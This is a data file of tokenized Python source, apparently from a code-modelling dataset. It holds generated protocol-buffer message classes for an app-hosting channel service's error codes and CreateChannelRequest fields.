"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "TEXT_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "\"", "Error", "Code", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TYPES_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "0_", ",_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "MAX", "\\u", "TYPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "STYLE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "STYLE", "\\u", "CONTE", "NT", "\\u", "TYPE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "PROTO", "\\u", "DESCRIPT", "OR", "\\u", "NAME_", "=_", "'", "app", "hostin", "g", ".", "Chan", "nel", "Service", "Error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "Error", "Code", "\\u", "Name_", "(_", "cls_", ",_", "x_", ")_", ":_", "return_", "cls_", "._", "\\u", "Error", "Code", "\\u", "NAMES_", "._", "get_", "(_", "x_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "contents_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "contents_", "is_", "not_", "None_", ":_", "self_", "._", "Merge", "Fro", "m", "String_", "(_", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Merge", "From_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "x_", "is_", "not_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Equals_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "is_", "self_", ":_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Is", "Initialized", "_", "(_", "self_", ",_", "debug", "\\u", "strs_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "initialized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size", "Parti", "al_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Unc", "heck", "ed_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Parti", "al_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Tr", "y", "Merge_", "(_", "self_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "d_", "._", "avail_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tt_", "=_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "tt_", "==_", "0_", ")_", ":_", "raise_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Buffer", "Decode", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "skip", "Data_", "(_", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ",_", "prefix_", "=_", "\"\"_", ",_", "print", "Ele", "m", "Number_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Service", "Error_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "sparse_", ",_", "maxt", "ag_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "[_", "sparse_", "._", "get_", "(_", "i_", ",_", "default_", ")_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "1_", "+_", "maxt", "ag_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "applica", "tion", "\\u", "key", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "\\u", "minute", "s\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "tag", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\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EWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kap", "pli", "cation", "\\u", "key_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kd", "ura", "tion", "\\u", "minutes_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kt", "ag_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TEXT_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "\"", "Error", "Code", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "\"", "applica", "tion", "\\u", "key", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "\"", "duration", "\\u", "minute", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "\"", "tag", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TYPES_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "3_", ",_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "MAX", "\\u", "TYPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "STYLE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "STYLE", "\\u", "CONTE", "NT", "\\u", "TYPE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "PROTO", "\\u", "DESCRIPT", "OR", "\\u", "NAME_", "=_", "'", "app", "hostin", "g", ".", "Creat", "e", "Chan", "nel", "Request", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "contents_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "contents_", "is_", "not_", "None_", ":_", "self_", "._", "Merge", "Fro", "m", "String_", "(_", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "duration", "\\u", "minutes_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "duration", "\\u", "minute", "s\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "duration", "\\u", "minutes_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "duration", "\\u", "minute", "s\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "duration", "\\u", "minutes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "duration", "\\u", "minute", "s\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "duration", "\\u", "minutes_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "tag_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "tag", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "tag_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "tag", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "tag_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "tag", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "tag_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "tag", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "Merge", "From_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "x_", "is_", "not_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "applica", "tion", "\\u", "key_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "applica", "tion", "\\u", "key_", "(_", "x_", "._", "applica", "tion", "\\u", "key_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "duration", "\\u", "minutes_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "duration", "\\u", "minutes_", "(_", "x_", "._", "duration", "\\u", "minutes_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "tag_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "tag_", "(_", "x_", "._", "tag_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Equals_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "is_", "self_", ":_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "!=_", "x_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "and_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "!=_", "x_", "._", "applica", "tion", "\\u", "key", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "!=_", "x_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "and_", "self_", "._", "duration", "\\u", "minute", "s\\u_", "!=_", "x_", "._", "duration", "\\u", "minute", "s\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", "!=_", "x_", "._", "has", "\\u", "tag", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", "and_", "self_", "._", "tag", "\\u_", "!=_", "x_", "._", "tag", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Is", "Initialized", "_", "(_", "self_", ",_", "debug", "\\u", "strs_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "not_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug", "\\u", "strs_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "debug", "\\u", "strs_", "._", "append_", "(_", "'", "Requ", "ired", " ", "field", ":", " ", "applica", "tion", "\\u", "key", " ", "not", " ", "set", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "initialized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", 